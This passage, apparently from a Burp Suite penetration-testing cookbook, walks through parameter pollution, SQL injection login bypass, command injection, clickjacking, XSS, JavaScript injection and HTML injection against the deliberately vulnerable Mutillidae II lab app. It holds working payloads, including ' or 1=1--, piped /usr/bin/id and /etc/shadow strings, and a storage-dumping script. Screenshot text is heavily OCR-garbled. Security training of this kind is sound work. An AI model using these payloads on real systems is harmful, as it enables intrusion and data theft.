3. Switch to the Burp Proxy | HTTP history tab, and find the request you just
performed from the User Poll page. Note the parameter named choice. The
value of this parameter is Nmap. Right-click and send this request to

Repeater:



Target | Proxy | Spider I Scanner T Intruder ] Repeater I Sequencer I Decoder I Comparer I Extender I Project options. I User options | Aleris

[ Intercept I HTTP history T WebSockets history I Options ]

cope Proxy traffic is disabled Re-gnable

‘ Filter: Hiding CSS, image and general binary content

# A |Host | Method | URL | Params | Edited | Status Length MIME type | Extension | Title
|4 http://1982.168.56.101 GET i ?pag poll php&csrt- hoice=n.. ' 200 43086 HTML php
[« =

Reguest | Response I
Raw | Params T Headers Tm —_—

GET /nmmuulaa/mdex,php?page:u;er—puu,phpscsrt-:u]:en:&thoice:maplimmals:ﬁﬂmsn-puu-php-suhmc-lmcr.nn:a‘uhmmvme HTTP/L. 1
Host: 192.1&8.5€.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x€4; rv:E1.0) Gecke/Z0100L0L Firefox/€1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

hocept-Encoding: gzip, deflate

Referer: http://197 168.56.101/mutillidae/index.php?page=user-poll.php

Cookie: showhints=1; PHPSESSID=dl748borno09vndjnjvimSles?; acopendivids=swingset,jotto,phpbb?,redmine; acgroupswithpersist=nadal
Connection: close
Upgrade-Insecure-Requests: 1

Send to Spider
Do an active scan
Do a passive scan
Send to Intruder
Send to Repeater

4. Switch to the Burp Repeater and add another parameter with the same name
to the query string. Let's pick another tool from the User Poll list and
append it to the query string, for example, “&choice=tcpdump”. Click Go to
send the request:

[ Target T Proxy T Spider I Scanner I Intruder T Repeater T Sequencer T Decoder I Comparer T Extender T Project options I

E
-]
g
FAN
-
v
-

Request

_[ Raw T Params T Headers I Hex ]

GET
Jmatillidae/index.php?page=user-poll.php&csri-token=dchoice=nmapiinitials=5W{choice=tcpdunps
user-poll-php-subnit-button=5Subnit+Vote HTTP/1.1

Host: 192.168.5&6.101

User-Agent: Mozilla/s5.0 (Windows NT 10.0; Winé4; x£4; rwv:61.0) Gecko/IZ0100101 Firefox/61.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9,*%/*;gq=0_8

Accept-Lancuage: en-UsS,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http:/f1l52.168.56.101/mutillidae/index.php?page=user-poll.php

Cookie: showhints=1; PHPSESSID=dl745borno0SvndinivdmSlesl;

acopendivids=swingset ,jotto,phpbbhl, reduine; acgroupswithpersist=nada

Connection: close

Upgrade-Insecure-Requests: 1

5. Examine the response. Which choice did the application code accept? This
is easy to find by searching for the Your choice was string. Clearly, the
duplicate choice parameter value is the one the application code accepted to
count in the User Poll vote:



Response

"

_[Raw Headers T Hex | HTML T Render

</td>
<ftr>
<trs
<td class="label">
Your Initials:<input type="text" name="initials"
ParameterPollutionlnjectionPoint="1" value="5W"/>

</t
</tr>
fbrr<bdr</rdr</rre
<tr>

<td style="text-align:center;">
<input name="user-poll-php-submit-button" class="bhutton"
type="subnit" value="Subnit Vote" />

</ed>

</tr>

<trx<tde</tdr< /L

<brex<tde</td </t

<tr>
<td class="report-header" ReflectedxKSSExecutionPoint="1">
IYnur choice was tcpdump </td>

</tr>

</table>
</forn>
<ffieldset>

“goript types"text/javascript's
try{
document . getElementById("id choice").focus():
tcatchie){
alert ('Errvor trying to set focus on field choice: ' + e.message);
H/ end try
</seripts

<div>&nbsp; </div>

<div=&nbsp; </div>

<fieldset>

<leqgend>CSRF Protection Information</legend>

“table style="margin-left:auto; margin-right:auto;"s

brr<tdx<frde</tr>

“tr><td class="report-header">Posted Token: <hir/>(Validation not performed)</td=</tr>

? < ‘ + | = | Your choice was




How it works...

The application code fails to check against multiple parameters with the same
name when passed into a function. The result is that the application usually acts
upon the last parameter match provided. This can result in odd behavior and
unexpected results.



Testing for SQL injection

A SQL injection attack involves an attacker providing input to the database,
which is received and used without any validation or sanitization. The result is
divulging sensitive data, modifying data, or even bypassing authentication
mechanisms.



Getting ready

Using the OWASP Mutillidae IT Login page, let's determine whether the
application is vulnerable to SQL injection (SQLi) attacks.



How to do it...

1. From the OWASP Mutilliae II menu, select Login by navigating to OWASP
2013 | Al-Injection (SQL) | SQLi — Bypass Authentication | Login:

@ OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured

OWASP 2013 A1 - Injection (SQL) » | SQLi - Extract Data

T N T i
OWASP 2010 A1l - Injection (Other) SQLi - Bypass Authentication

2. At the Login screen, place invalid credentials into the username and
password text boxes. For example, username is tester and password
is tester. Before clicking the Login button, let's turn on Proxy |
Interceptor.

3. Switch to the Burp Proxy | Intercept tab. Turn the Interceptor on by toggling
to Intercept is on.

4. While Proxy | Interceptor has the request paused, insert the new payload of
' or 1=1--<space> within the username parameter and click the Login
button:

|’ Target | Proxy [ Spider [ Scanner ] Intruder T Repeater T Sequencer l Decoder T Comparer T Extender T Project options T User options TAlerts }

_]’ ntercept I HTTP history IWebSockets history T Options ]

#| Request to http://192.168.56.101:80

l Forward [ | Drop J ‘ Intercept is on |

Action

J Raw 1 Params T Headers IE]

POST /mutillidae/index.php?page=login.php HTTP/1.1

Host: 192.168.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x&4; rv:£61.0) Gecko/Z0100101 Firefox/€1.0
Accept: text/html,application/xhtml+txnl,application/xnl;q=0.9,%/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.56.101/mutillidae/index.php?page=login.php

Content-Type: application/x-www-form-urlencoded

Content-Length: E1

Cookie: showhints=1; PHPSESSID=dl74S5borno09vn4dinjvdnSlesZ; acopendivids=swingset, jotto,phpbbl, redmine; acgroupswithpersist=nada
Connection: close
Upgrade-Insecure-Requests: 1

username=test e&passuord:tesr er&login-php-submit-button=Login

5. Click the Forward button. Turn Interceptor off by toggling to Intercept is
off.



6. Return to the Firefox browser and note you are now logged in as admin!



How it works...

The tester account did not exist in the database; however, the ' or 1=1--
<space> payload resulted in bypass the authentication mechanism because the
SQL code constructed the query based on unsanitized user input. The account of
admin is the first account created in the database, so the database defaulted to
that account.



There's more...

We used a SQLi wordlist from wfuzz within Burp Intruder to test many different
payloads within the same username field. Examine the response for each attack
in the results table to determine whether the payload successfully performed a
SQL injection.

The construction of SQL injection payloads requires some knowledge of the
backend database and the particular syntax required.



Testing for command injection

Command injection involves an attacker attempting to invoke a system
command, normally performed at a terminal session, within an HTTP request
instead. Many web applications allow system commands through the UI for
troubleshooting purposes. A web-penetration tester must test whether the web
page allows further commands on the system that should normally be restricted.



Getting ready

For this recipe, you will need the SecLists Payload for Unix commands:

e SecLists-master | Fuzzing | FUzZDB_UnixAttacks. txt

o Download from GitHub: https://github.com/danielmiessler/SecL.ists

Using the OWASP Mutillidae II DNS Lookup page, let's determine whether the
application is vulnerable to command injection attacks.


https://github.com/danielmiessler/SecLists

How to do it...

1. From the OWASP Mutilliae II menu, select DNS Lookup by navigating to
OWASP 2013 | Al-Injection (Other) | Command Injection | DNS Lookup:
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2. On the DNS Lookup page, type the IP address 127.0.0.1 in the text box
and click the Lookup DNS button:

DNS Lookup ]

CQ Back Q Help Me!

Hints

=3
A‘Ax Switch to SOAP Web Service Version of this Page

| e

Who would you like to do a DNS lookup on?

Enter IP or hosthame

Hostname/IP [127.0.0.1

[ Lookup DNS J

3. Switch to the Burp Proxy | HTTP history tab and look for the request you
just performed. Right-click on Send to Intruder:



[ Target [ Proxy | spiger | Scanner [ ntruder | Repester | Sequencer | Decoder | comparer [ Extender | Projectoptions | user options | Akerts

intercept | HTTP history | WebSockets history | Options |

‘ Fiter: Hiding CSS, image and general binary content

# A Host | Method | URL | Params | Edited Status | Length | MIME type | Extension | Title

14 hitp://192.168.56.101 | post i php?pag lookup_php v 200 43770 HTML php|

ELS =

Request | Response

Raw Params | Headers Hex

POST /mutillidae/index.php?page=dns-loockup.php HTTP/1. 1
Host: 197.188.58.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:€l.0) Gecko/IZ0100101 Firefox/El.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.5,%/*;q=0.8

hecept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate
Referer: http://192.168.56.101/mutillidae/index.php?page=dns=loockup.php Send to Spider
Content-Type: application/x-www-form-urlencoded
Content-Length: &1

Cookie: showhints=1; username=admin; uid=l; PHPSESSID=dl745bornoDSvndinjvins Do a passive scan to,phpbbl, redmine; acgroupswithpersist=nada
Connection: close

Do an active scan

Upgrade-Insecure-Requests: 1

Send to Repeater Ctr+R

target_host=127.0.0. l&dns-lookup-php-subnit-button=Lookup+DNS Send to Sequencer

4. In the Intruder | Positions tab, clear all suggested payload markers with the
Clear $ button. In the target_host parameter, place a pipe symbol (|)
immediately following the 127.0.0.1 IP address. After the pipe symbol,
place an X. Highlight the x and click the Add $ button to wrap the x with
payload markers:

[Tarnel ] Positions i’Plyludu T Options 1

{?‘ Payload Positions Start attack

Configure the postions where payloads wil be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for ful details.

Aftack type: ls__l!ge_l ]

[POST /mutillidae/index.php?page=dns-Llookup.php HITP/L.1 Tal Add§
Host: 182.168.56.101 L

Us ent: Mozilla/5.0 (Windows NT 10.0; Winéd; xE4; rv:ELl.0) Gecko/Z0100101 Firefox/El.0

Ac text/html, application/xhtml+xml, application/xml;q=0.9,%/%;g=0.8 Clear §
Accept-Language: en=US,en;q=0.5

Accept-Enceding: gzip, deflate Auto §
e : h 8&. 101/mutillidae/index. php?page=dns-lookup. php [—
o ion/x-waw-forn-urlencoded Prer—
Cont

Cook nts=1; username=admin; uwid=l; PHPSESSID=d1745borno0SvndjnjvinSlesI; acopendivids=svingset,jotto,phpbbl,redmine; acgroupswithpersist=nada

Conn ose
Upgrade-Insecure-Regquests: 1

target_host§127.0.0.11§X5 dins-lockup-php it-bucton=Lookup

5. In the Intruder | Payloads tab, click the Load button. Browse to the location
where you downloaded the SecLists-master wordlists from GitHub.
Navigate to the location of the FUzzDB_uUnixAttacks.txt wordlist and use
the following to populate the Payload Options [Simple list] box: SecLists-
master |[Fuzzing | FUZzZDB_UnixAttacks. txt



2| Payload Options [Simple list
N ray

This payload type lets you configure a simple list of strings that are used as payloads.

Paste s B
— | %00./.1.1.1 1 Jetcipasswd
—— %00..0.4.0.1 1 tetc/shadow V
%00/
nemove | | oU0fEtc/passwdiell »
%e01%02%03%04%0a % 0d4%0aADSF
Clear Hl8x
— | BR0AJusr/bin/id L
%e04/usr/bin/id%0A Y
’ Add | | Enter a new item
| Add fromlist .. ¥

6. Uncheck the Payload Encoding box at the bottom of the Payloads tab page
and then click the Start Attack button.

7. Allow the attack to continue until you reach payload 50. Notice the
responses through the Render tab around payload 45 or so. We are able to
perform commands, such as id, on the operating system, which displays the
results of the commands on the web page:



‘I|,,. s o R . |
4 Intruder attack 3

Attack Save Columns

J Resulis T Target T Positions T Payloads T Options W

‘ Filter: Showing all tems

Request & | Payload | Status | Error | Timeout | Length | Comment
42 %00/etc/passwd%00 200 [ & 48730

43 %01%02%03%04%0a%0d%0aADSF 200 O (= 48728

44 %08x 200 @] | 48719

lss S60AJusribindid 200 = ) 48783 |

46 %0A/usr/binfid%0A 200 =] O 48784

47 %0Aid 200 ] = 48774

43 %0AId%0A 200 0] = 48775

—

[ Raw I Headers T Hex T HTHL I Render ]

Error: Invalid Input

Who would you like to do a DNS lookup

In on?

M

S e Enter IP or hostname
Project Whitepaper
Hostname/IP
’ Lookup DNS
Release
Announcements Results for 127.0.0.1| /usr/bin/id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

You
I T o



How it works...

Failure to define and validate user input against an acceptable list of system
commands can lead to command injection vulnerabilities. In this case, the
application code does not confine system commands available through the UI,
allowing visibility and execution of commands on the operating system that
should be restricted.



Attacking the Client

In this chapter, we will cover the following recipes:

Testing for Clickjacking

Testing for DOM-based cross-site scripting
Testing for JavaScript execution

Testing for HTML injection

Testing for client-side resource manipulation



Introduction

Code available on the client that is executed in the browser requires testing to
determine any presence of sensitive information or the allowance of user input
without server-side validation. Learn how to perform these tests using Burp.



Software tool requirements

To complete the recipes in this chapter, you will need the following:

e OWASP Broken Web Applications (VM)
e OWASP Mutillidae link
¢ Burp Proxy Community or Professional (https://portswigger.net/burp/)


https://portswigger.net/burp/

Testing for Clickjacking

Clickjacking is also known as the UI redress attack. This attack is a deceptive
technique that tricks a user into interacting with a transparent iframe and,
potentially, send unauthorized commands or sensitive information to an attacker-
controlled website. Let's see how to use the Burp Clickbandit to test whether a
site is vulnerable to Clickjacking.



Getting ready

Using the OWASP Mutillidae II application and the Burp Clickbandit, let's
determine whether the application protects against Clickjacking attacks.



How to do it...

1. Navigate to the Home page of the OWASP Mutillidae II.
2. Switch to Burp, and from the top-level menu, select Burp Clickbandit:

=ilyell Intruder Repeater Window Help

Search

Save copy of project

i i

E!"‘:"‘,"""!""’ Ef""'iif_!"""i 0oni
s L [ 0.0 Lo B R B Ly

Lo
LA

rivierT
?-\. ;'--'\.-{:-\. LI §

Rename project

Project options 2
User options >
Pazswords »

Burp Infitrator

Burp Clickbandit

Burp Collaborator client
Save legacy state file
Restore legacy state file

Exit

3. A pop-up box explains the tool. Click the button entitled Copy Clickbandit
to clipboard:



[;PJ Burp Clickbandit

Burp Clickbandit is a tool for generating clickjacking attacks. When you have found a web page that may be vulnerable to clickjacking, you can use Burp
Clickbandit to create an attack, and confirm that the vulnerability can be successfully exploited.

Burp Clickbandit runs in your browser using JavaScript. t works on all modern browsers except for Microsoft IE and Edge. To run Burp Clickbandi, use the
following steps:

1. Click the "Copy Clickbandit to clipboard™ button below. This wil copy the Clickbandit script to your clipboard.

2. In your browser, visit the web page that you want to test, in the usual way.

3. In your browser, open the web developer console. This might also be called "developer tools™ or "JavaScript console”™.
4. Paste the Clickbandi script into the web developer console, and press enter.

See the documentation for more details on using Burp Clickbandit.

| copy Cickbandit to clipboard || | Close |

4. Return to the Firefox browser, and press F12 to bring up the developer
tools. From the developer tools menu, select Console, and look for the
prompt at the bottom:

0 =

Release =
Aol nCEments PHP MyAdmin Console ﬁ Feature Requests
PRdA -
Van 4
@ {3 Inspector Console [ Debugger  {} Style Editor (& Performance £k Memory = Network B Storage <3 DOM B - x
W Y Filter output [ Persist Logs

& The character encoding of the HTML document was not declared. The document will render with garbled text in some browser configurations if the index.php

5. At the Console prompt (for example, >>), paste into the prompt the
Clickbandit script you copied to your clipboard:



®% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1idd1e) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data

»
[ Mutillidae: Deliberately Vulnerable Web Pen-Testing Application |

OWASP 2010 ¥

] N e mELLATEETL L L AR - Rl A o ...A-
@ {3 Inspector [J Console O Debugger {}) Style Editor @ Performance  {k Memory = Network 1= Storage <> DOM E LIS

W 7 Filter output [Persist Loc

A The character encoding of the HTML document was not declared. The document will render with garbled text in some browser configurations if index.php
the document contains characters from outside the US-ASCII range. The character encoding of the page must be declared in the document or in
the transfer protocol.
/* Copyright PortSwigger Ltd. All rights reserved. Usage is subject to the Burp Suite license terms. See https://portswigger.net for more details. */
function(){
var initialZoomFactor = '1.8', win, doc, width, height, clicks = [];
function addClickTrap(element, minusY) {
var clickTrap = doc.createElement('div'), cords = findPos(element);

clickTrap.style.backgroundColor = 'none';
clickTrap.style.border = 'none';
clickTrap.style.position = 'absolute';
clickTrap.style.left = cords[@] + 'px';
clickTrap.style.top = cords[1] + 'px‘;
clickTrap.style.width = element.offsetwidth + 'px';
clickTrap.style.height = element.offsetHeight + 'px';
if(element.zIndex || element.zIndex === '@') {
clickTrap.style.zIndex = +element.zIndex+1;

}
clickTrap.style.opacity = '@.5';
clickTrap.style.cursor = 'pointer’';

clickTrap.clickTrap = 1;
clickTrap.addEventListener('click', function(e) {
generatePoc({x:e.pageX, y: minusY?e.pageY-minusY : e.page});
e.preventDefault();
e.stopPropagation();
return false;
}s true);
doc.body.appendChild(clickTrap);
}
function addMessage(msg) {
var message = document.createElement('div');
maccama ctula widbh = '100%'

6. After pasting in the script into the prompt, press the Enter key. You should
see the Burp Clickbandit Record mode. Click the Start button to begin:

&« c @ @ 192.168.56.101/mutillidae/index.php?page=home.php&popUy - O W% In @ |

E CLICKBANDIT O sandbox iframe? W Record mode

[ Disable click actions

7. Start clicking around on the application after it appears. Click available
links at the top Mutillidae menu, click available links on the side menu, or
browse to pages within Mutillidae. Once you've clicked around, press the
Finish button on the Burp Clickbandit menu.

8. You should notice big red blocks appear transparently on top of the
Mutillidae web pages. Each red block indicates a place where a malicious
iframe can appear. Feel free to click each red block to see the next red block
appear, and so on:



B4 BURPCLICKBANDIT () Reset.

Web Pwn in Mass Production

Hints: Enabled (1 - 5cript K1dd1e) Not Logged In

ggle Security Enforce SSL Reset DB View Log View Captured Data

y Vulnerable Webm

itillidae? Check out how to help

9. Once you wish to stop and save your results, click the Save button. This
will save the Clickjacking PoC in an HTML file for you to place inside your
penetration test report.



How it works...

Since the Mutillidae application does not make use of the X-FRAME-OPTIONS
header set to DENY, it is possible to inject a malicious iframe in to the Mutillidae
web pages. The Clickbandit increases the level of opaqueness of the iframe for
visibility and creates a proof of concept (PoC) to illustrate how the vulnerability
can be exploited.



Testing for DOM-based cross-site
scripting

The Document Object Model (DOM) is a tree-like structural representation of
all HTML web pages captured in a browser. Developers use the DOM to store
information inside the browser for convenience. As a web penetration tester, it is
important to determine the presence of DOM-based cross-site scripting (XSS)
vulnerabilities.



Getting ready

Using OWASP Mutillidae I HTMLS5 web storage exercise, let’s determine
whether the application is susceptible to DOM-based XSS attacks.



How to do it...

1. Navigate to OWASP 2013 | HTML5 Web Storage | HTML5 Storage:
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2. Note the name/value pairs stored in the DOM using HTML5 Web Storage
locations. Web storage includes Session and Local variables. Developers
use these storage locations to conveniently store information inside a user's
browser:

HTML 5 Storage
CQ Back a Help Me!
Hints \
| HTML 5 Web Storage
Web Storage
Key ltem Storage Type
AuthorizationLevel 0 Session

LocalStorageTarget This is set by the index.php page Local
MessageOfTheDay Go Cats! Local

[ [ ®Session OLocal

o Session Storage ¢ Local Storage ¢ All Storage

3. Switch to the Burp Proxy Intercept tab. Turn Interceptor on with the button
Intercept is on.

4. Reload the HTML 5 Web Storage page in Firefox browser by pressing F5
or clicking the reload button.



5. Switch to the Burp Proxy HTTP history tab. Find the paused request created
by the reload you just performed. Note that the User -Agent string is
highlighted, as shown in the following screenshot:

[Target T Proxy 1 Spider T Scanner T Intruder I Repeater T Sequencer l Decoder I Comparer T Extender T Project options T User options I Alerts 1

(#] Request to hitp:/192.168.56.101:80

l Forward J [ Drop J ( Intercept is on ] Action
J Raw T Params I Headers IE]

GET /mutillidae/index.php?page=htmlS-storage.php HTTP/1l.1

Host: 192.1e8.56.101

IUse[—Ageut: Mozilla/5.0 (Windows NT 10.0; Win&4; x64; rv:61.0) Gecko/Z0100101 Firefox/&£1.0 I
Accept: text/html,application/xhtml+xml]l,application/xml;q=0.9,*/*;¢q=0.8

Accept-Langquage: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Peferer: htep://192.168.56.101/mutillidae/index.php?page=password-generator.phpiusernane=anonymous

Cookie: showhints=1l; PHPSESSID=59jsmnl7vsnOmfe70ffv3vclkvl; acopendivids=swingset, jotto,phpbbl, rednine; acgroupswithpersist=nada
Connection: close

Upgrade-Insecure-Recuests: 1

Cache-Control: max-age=0

6. Replace the preceding highlighted User -Agent with the following script:

<script>try{var m = "";var 1 = window.localStorage; var s =
window.sessionStorage; for(i=0;i<1l.length;i++){var lKey =
1.key(i);m += 1lKey + "=" + l.getItem(lKey) +
";\n";},;for(1i=0;i<s.length;i++){var lKey = s.key(i);m += lKey
+ "=" + s.getItem(lKey) + ";\n";};alert(m);}catch(e)
{alert(e.message); }</script>

7. Click the Forward button. Now, turn Interceptor off by clicking the toggle
button to Intercept is off.

8. Note the alert popup showing the contents of the DOM storage:



LocalStorageTarget=This Is set by the index php page;
MessageOfTheDay=Go Cats!;

Secure. CurrentStateoHTMLStorage=Completely Insecure;
Secure IsUserLoggedin?=No;

Secure AuthenticationToken=DUB37HHFYTEYUE951934;
SessionStorageTarget=This is set by the index php page;
AuthorizationLevel=0;




How it works...

The injected script illustrates how the presence of a cross-site scripting
vulnerability combined with sensitive information stored in the DOM can allow
an attacker to steal sensitive data.



Testing for JavaScript execution

JavaScript injection is a subtype of cross-site scripting attacks specific to the
arbitrary injection of JavaScript. Vulnerabilities in this area can affect sensitive
information held in the browser, such as user session cookies, or it can lead to
the modification of page content, allowing script execution from attacker-
controlled sites.



Getting ready

Using the OWASP Mutillidae II Password Generator exercise, let’s determine
whether the application is susceptible to JavaScript XSS attacks.



How to do it...

1. Navigate to OWASP 2013 | A1 — Injection (Other) | JavaScript Injection |
Password Generator:

®% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5¢cript Kidd1e) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured

OWASP 2013 Al - Injection (SQL)
A1l - Injection (Other) HTML Injection (HTMLi)

OWASP 2010
A2 - Broken Authentication and HTMLI via HTTP Headers

OWASP 2007 Session Management Pon A
HTMLI Via DOM Injection

i A3 - Cross Site Scripting (XSS
LoD L BHNgI0925) HTMLI Via Cookie Injection

A4 - Insecure Direct Object -
References Frame Source Injection

Others A5 - Security Misconfiguration Command Injection

JavaScript Injection ¥ | Those "Back” Buttons

Posaneniabion A6 - Sensitive Data Exposure

A7 - Missing Function Level Access HTTP Parameter Pollution P Password Generator

2. Note after clicking the Generate Password button, a password is shown.
Also, note the username value provided in the URL is reflected back as
is on the web page: http://192.168.56.101/mutillidae/index.php?
page=password-generator .php&username=anonymous. This means a
potential XSS vulnerability may exist on the page:



Password Generator }

Qg Back

[ Password Generator

q Help Me!

Hints

Making strong passwords is important.
Click the button below to generate a password.

This password is forlanonymous
Password: P6/H%q8x0OvQ6gh*

[ Generate Password ]

3. Switch to the Burp Proxy HTTP history tab and find the HTTP message
associated with the Password Generator page. Flip to the Response tab in
the message editor, and perform a search on the string catch. Note that the
JavaScript returned has a catch block where error messages display to the
user. We will use this position for the placement of a carefully crafted
JavaScript injection attack:



Target ] Proxy | Spider IScanner I Intruder I Repeater T Sequencer iDeDudar ICumparar I Extender I Project options. I User options | Alerts

{ Iintercept T HTTP history T ‘WebSockets history T Options. 1

| Filter: Hiding CSS, image and general binary content

# A Host | Method | URL | Params | Edited | Status | Length | MIME type
175{ hitp://192.168.56.101 GET Imutilidaefindex php?page=password-generator php&username=anonymous o 200 47457 HTML
)

.

Reguest | Response

Raw | Headers TE HTML Rend.er]

b
</seript>

<script>
function onSubmitOfGeneratorForm(/*HTMLFormElement*/ theForm){
tryl

war 1PasswordText =

wvar 1. harset JKLMNOPQRSTUVWXY Zabcde fghi j kImnopgrstuvingz0123456 189 1 GRES &> ()_—+=[14 NI ', . [:2";
for{ var i=0; i < 15; i++ M

1 Text += 1 harset charft (Math floor(Math random() * 1PasswordCharset length)):
v/ end for i

document . getElementById( "idPasswordInput”) . innexHTML = "Password: <span style=\"color:red;border-width: lpx;bordexr-color:black;\">" +
"< [span>";

document . getElementById("idPasswordTableRow").style.display = "":

return false;
lcatchie)!
alert("Exrror: " + e.message):
1// end catch
4// end function onSubmitOfCeneratorForm(/*HTMLFormElement*/ theForm)

</script>

<div class="page-title">Password Generator</div>

<script types“text/javascript"s
$(function() {
§(' [NTMLEventReflectedXSSExecutionPoint] ') attr("title", "");
$(' [NTMLEventReflectedXSSExecutionPoint]') balloon(});
By

</seripes>

<div style="margin: Spx;">
<span style="font-weight: bold; margin-right: 50px;" HTHLEventReflectedXSS5ExecutionPoint="1">

4. Switch to the Burp Proxy Intercept tab. Turn Interceptor on with the button
Intercept is on.

5. Reload the Password Generator page in Firefox browser by pressing F5 or
clicking the reload button.

6. Switch to the Burp Proxy Interceptor tab. While the request is paused, note
the username parameter value highlighted as follows:

[ Target T Proxy I Spider I Scanner T Intruder T Repeater T Sequencer T Decoder I Comparer I Extender T Project options I User options T Alerts ]

_[ intercept T HTTP history T WebSockets history T Options ]

#| Requestto hitp://192.168.56.101:80

[ Forward J t Drop J | hterogptison ‘ Action

J Raw T Params T Headers | Hex

GET /mutillidae/index.php?page=passwordfqeneratar_phplusername=anonymouslHTTPJl_l

Host: 197.168.5€6.101

User-Agent: Mozilla/S5.0 (Windows NT 10.0; Win&4; x€4; rv:£l.0) Gecko/20100101 Firefox/E1.0
Accept: text/htul,application/xhtmlt+xnl,application/xml;q=0.9,*/*;gq=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Beferer: http://192_168.56.101/mutillidae/index. php?page=htmnlS5-storage. php

Cookie: showhints=1l; PHPSESSID=Sjsmnl7vsnOmfe70ffvivclkvl; acopendivids=swingset,jotto,phpbbl,rednine; acgroupswithpersist=nada
Connection: close

Upgrade-Insecure-Regquests: 1

Cache-Control: max-age=0

7. Replace the preceding highlighted value of anonymous with the following



carefully crafted JavaScript injection script:

canary"; }catch(e){}alert(1);try{a="

8. Click the Forward button. Now, turn Interceptor off by clicking the toggle
button to Intercept is off.

9. Note the alert popup. You’ve successfully demonstrated the presence of a
JavaScript injection XSS vulnerability!




How it works...

The JavaScript snippet injected into the web page matched the structure of the
original catch statement. By creating a fake name of canary and ending the
statement with a semicolon, a specially crafted new catch block was created,
which contained the malicious JavaScript payload.



Testing for HTML injection

HTML injection is the insertion of arbitrary HTML code into a vulnerable web
page. Vulnerabilities in this area may lead to the disclosure of sensitive
information or the modification of page content for the purposes of socially
engineering the user.



Getting ready

Using the OWASP Mutillidae IT Capture Data Page, let's determine whether the
application is susceptible to HTML injection attacks.



How to do it...

1. Navigate to OWASP 2013 | A1 — Injection (Other) | HTMLi Via Cookie
Injection | Capture Data Page:

®% OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL  Reset DB View Log View Captured

OWASP 2013 Al - Injection (SQL)
A1l - Injection (Other) HTML Injection (HTMLI)

OWASP 2010
A2 - Broken Authentication and HTMLI via HTTP Headers

OWASP 2007 Sesslon Management - —
HTMLI Via DOM Injection

Web Services A3 - Cross Site Scripting (XSS)

HTMLI Via Cookie Injection P | Capture Data Page

2. Note how the page looks before the attack:



{ Capture Data

<:9 Back e Help Me!

@ View Captured Data

[ Data Capture Page ]

This page is designed to capture any parameters sent and store them in a file and a
database table. It loops through the POST and GET parameters and records them to a file
named captured-data.txt. On this system, the file should be found at /tmp/captured-
data.txt. The page also tries to store the captured data in a database table named
captured_data and logs the captured data. There is another page named captured-
data.php that attempts to list the contents of this table.

The data captured on this request is: page = capture-data.php showhints = 1
PHPSESSID = 9jsmn17vsn0mfe70ffv3vclkv1 acopendivids =
swingset,jotto,phpbb2,redmine acgroupswithpersist = nada

Would it be possible to hack the hacker? Assume the hacker will view the captured
requests with a web browser.

3. Switch to the Burp Proxy Intercept tab, and turn Interceptor on with the
button Intercept is on.

4. While the request is paused, make note of the last cookie,
acgroupswitchpersist=nada:



Target I Proxy T Spider I Scanner T Intruder I Repeater T Seguencer T Decoder T Comparer I Extender I Project options T User options T Alerts ]

i
_[ ntercept I HTTP history T WebSockets history I Options ]

‘ m Request to hitp:/152.168.56.101:80

u Forward | | Drop J | Interceptison Action
| Raw | Params IHeaders Hex

GET /mutillidae/index.php?page=capture-data.php HTTP/1.1
Host: 192.1&B.56.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x&4; rv:€1.0) Gecko/20100101 Firefox/£1.0
Accept: text/htnl,application/xhtml+xml, application/xml;gq=0.9,*/*;q=0.8

Accept-Lancguage: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.56.101/mutillidae/index.php?page=back-button-discussion.php

Cookie: showhints=1; PHPSESSID=Sjsmnl7vsnOmfe70ffv3vclkvl; acopendivids=swingset,jotto,phpbbl,rednine; acgrm\pswibhpersist
Connection: close

Tpgrade-Insecure-Recuests: 1

Cache-Control: max-age=0

5. While the request is paused, replace the value of the last cookie, with this
HTML injection script:

<h1>Sorry, please login again</hl><br/>Username<input
type="text"><br/>Password<input type="text"><br/><input
type="submit" value="Submit'"><hi1>&nbsp;</h1>

6. Click the Forward button. Now turn Interceptor off by clicking the toggle
button to Intercept is off.

7. Note how the HTML is now included inside the page!



| Capture Data

C@ Back Q Help Me!

| Hints

m View Captured Data

| Data Capture Page

This page is designed to capture any parameters sent and store them in a file and a
database table. It loops through the POST and GET parameters and records them to a file
named captured-data.txt. On this system, the file should be found at /tmpl/captured-
data.txt. The page also tries to store the captured data in a database table named
captured_data and logs the captured data. There is another page named captured-
data.php that attempts to list the contents of this table.

The data captured on this request is: page = capture-data.php showhints =1
PHPSESSID = 9jsmn17vsnOmfe70ffv3vclkv1 acopendivids =
swingset,jotto,phpbb2,redmine acgroupswithpersist =

Sorry, please login again

Username|
Password|

Submit |




How it works...

Due to the lack of input validation and output encoding, an HTML injection
vulnerability can exist. The result of exploiting this vulnerability is the insertion
of arbitrary HTML code, which can lead to XSS attacks or social engineering
schemes such as the one seen in the preceding recipe.



